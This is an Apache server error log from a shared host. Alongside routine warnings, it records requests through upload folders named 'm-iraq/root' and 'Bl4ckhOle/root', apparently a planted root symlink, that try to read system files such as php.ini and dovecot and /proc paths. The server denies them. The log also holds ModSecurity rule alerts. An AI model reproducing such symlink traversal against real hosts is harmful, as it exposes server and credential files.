[Fri Jul 17 09:45:49.437151 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:49.527785 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:49.619436 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:49.714252 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/battery/unbind
[Fri Jul 17 09:45:49.801933 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:49.895899 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:49.971433 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:50.018352 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:50.086578 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:45:50.176525 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/subsystem/drivers/tpm_tis/unbind
[Fri Jul 17 09:45:50.486992 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:50.572121 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:50.728980 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:50.820272 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.001669 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.023440 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:41976] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:51.093300 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.186160 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.220761 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.279554 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.369542 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.460215 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:51.493233 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:57856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:51.830402 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:52.002481 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:52.014497 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:52.159690 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:52.251788 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:52.343125 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:52.442184 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:01/subsystem/drivers/ac/uevent
[Fri Jul 17 09:45:52.800922 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:52.899357 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.190769 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.366201 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.378199 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.464234 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.544329 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.565277 2026] [authz_core:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/uploads/img/news/m-iraq/root/opt/alt/php56/etc/php.ini
[Fri Jul 17 09:45:53.585572 2026] [authz_core:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/uploads/img/news/m-iraq/root/opt/alt/php53/etc/php.ini
[Fri Jul 17 09:45:53.619432 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.714508 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.741325 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:53.944459 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:54.038832 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:54.200143 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:54.382330 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:54.474203 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:54.571525 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:54.749368 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:55.029161 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:55.099041 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:58038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:55.209819 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:55.399294 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:55.430225 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:58052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:55.504807 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:55.829283 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.55:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory106/node0/memory57/node0/cpu3/crash_notes
[Fri Jul 17 09:45:56.399496 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.517355 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.518358 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.pop3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.pop3/' is executable
[Fri Jul 17 09:45:56.518388 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.pop3-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.pop3-login/' is executable
[Fri Jul 17 09:45:56.518415 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.managesieve/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.managesieve/' is executable
[Fri Jul 17 09:45:56.518435 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.managesieve-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.managesieve-login/' is executable
[Fri Jul 17 09:45:56.518453 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.indexer-worker/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.indexer-worker/' is executable
[Fri Jul 17 09:45:56.518470 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.imap/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.imap/' is executable
[Fri Jul 17 09:45:56.518508 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.imap-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.imap-login/' is executable
[Fri Jul 17 09:45:56.518527 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.imap-hibernate/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/srv.imap-hibernate/' is executable
[Fri Jul 17 09:45:56.518544 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/token-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/token-login/' is executable
[Fri Jul 17 09:45:56.518563 2026] [core:crit] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/run/dovecot/login/' is executable
[Fri Jul 17 09:45:56.575008 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.588455 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.600918 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.621348 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.621583 2026] [core:crit] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/' is executable
[Fri Jul 17 09:45:56.643121 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.651850 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.874123 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:56.966184 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.060657 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.062781 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:58128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:57.154752 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.244163 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.505636 2026] [authz_core:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/uploads/img/news/m-iraq/root/opt/alt/php81/etc/php.ini
[Fri Jul 17 09:45:57.582761 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.582876 2026] [core:crit] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/uwsgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/uwsgi_temp/' is executable
[Fri Jul 17 09:45:57.582915 2026] [core:crit] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/client_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/client_temp/' is executable
[Fri Jul 17 09:45:57.582942 2026] [core:crit] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/scgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/scgi_temp/' is executable
[Fri Jul 17 09:45:57.582964 2026] [core:crit] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/proxy_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/proxy_temp/' is executable
[Fri Jul 17 09:45:57.582986 2026] [core:crit] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/fastcgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/imunify360-webshield/fastcgi_temp/' is executable
[Fri Jul 17 09:45:57.617257 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.619810 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.714800 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.853185 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:57.894241 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:58162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:57.972661 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:58.274230 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/tmp/20250911-125048-aMJ4UNFAsEYCUhLL_UHwVwAAAAY-file-KZfuCp
[Fri Jul 17 09:45:58.410686 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/tmp/20250815-144532-aJ76tPgwms34p4K4BwIQVwAAAC4-file-PGH4m0
[Fri Jul 17 09:45:58.414284 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:58.437137 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:58.467194 2026] [autoindex:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1018/
[Fri Jul 17 09:45:58.571028 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:58.659112 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/tmp/20250923-073235-aNH_ux1BcTF9HyfvTnwT4AAAAAU-file-8fDkr6
[Fri Jul 17 09:45:58.897840 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:58.929303 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:59.018874 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:59.111273 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:59.204878 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:59.486493 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:59.870439 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:00.070455 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:00.153388 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:00.232822 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:00.350976 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/gpio-clk/unbind
[Fri Jul 17 09:46:00.431569 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:00.739881 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:00.943464 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.076889 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.077132 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.234636 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.261802 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.381312 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.542532 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.583530 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.595980 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.603796 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.719392 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.727439 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.825758 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.863331 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.863812 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:01.963029 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.056689 2026] [security2:error] [pid 2050581:tid 2050581] [client 150.40.126.20:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/eradication of poliomyelitis a comprehensive guide for medical officer.pdf"] [unique_id "almsgszGNCrIh2ysmniPTwAAABY"]
[Fri Jul 17 09:46:02.057050 2026] [security2:error] [pid 2050581:tid 2050581] [client 150.40.126.20:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/eradication of poliomyelitis a comprehensive guide for medical officer.pdf"] [unique_id "almsgszGNCrIh2ysmniPTwAAABY"]
[Fri Jul 17 09:46:02.060988 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:46532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:02.088190 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.133904 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.151638 2026] [security2:error] [pid 2050581:tid 2050581] [client 150.40.126.20:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almsgszGNCrIh2ysmniPTwAAABY"]
[Fri Jul 17 09:46:02.199708 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.295157 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.391946 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.566797 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.706866 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:02.970727 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/clockevents/devices/broadcast/subsystem/drivers_probe
[Fri Jul 17 09:46:03.064729 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.113532 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.118920 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.156582 2026] [autoindex:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/lve/snapshots/1075/
[Fri Jul 17 09:46:03.255693 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.444265 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.574755 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/QEMU0002:00/subsystem/drivers/ec/uevent
[Fri Jul 17 09:46:03.632366 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.638362 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.668854 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.773984 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.777533 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.822008 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.859508 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:03.956723 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:04.074841 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:04.147666 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:04.240532 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:04.334560 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:04.452444 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
